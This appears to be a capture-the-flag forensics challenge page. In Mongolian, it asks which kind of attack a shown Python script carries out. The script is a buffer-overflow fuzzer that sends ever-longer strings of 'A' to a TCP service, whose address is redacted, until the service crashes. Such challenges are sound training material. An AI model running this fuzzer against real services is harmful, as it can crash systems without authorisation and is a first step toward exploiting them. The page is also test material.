$ ctf42

Attack_1

Forensics No technique tags yet.
Difficulty Not rated yet

Энэхүү Python скрипт нь ямар төрлийн халдлага хийж байгаа вэ?

!/usr/bin/env python3

import socket, time, sys

ip = "XXX" port = XXXX timeout = X prefix = "XXX " string = prefix + "A" * 200

while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) print("XXX with {} bytes".format(len(string) - len(prefix))) s.send(bytes(string, "latin-1")) s.recv(1024) except: print("XXX crashed at {} bytes".format(len(string) - len(prefix))) sys.exit(0) string += 200 * "A" time.sleep(1)

Writeups

Official

No official writeup linked.

Community

No community writeups yet. Solved it? Share how.

Log in to add a community writeup.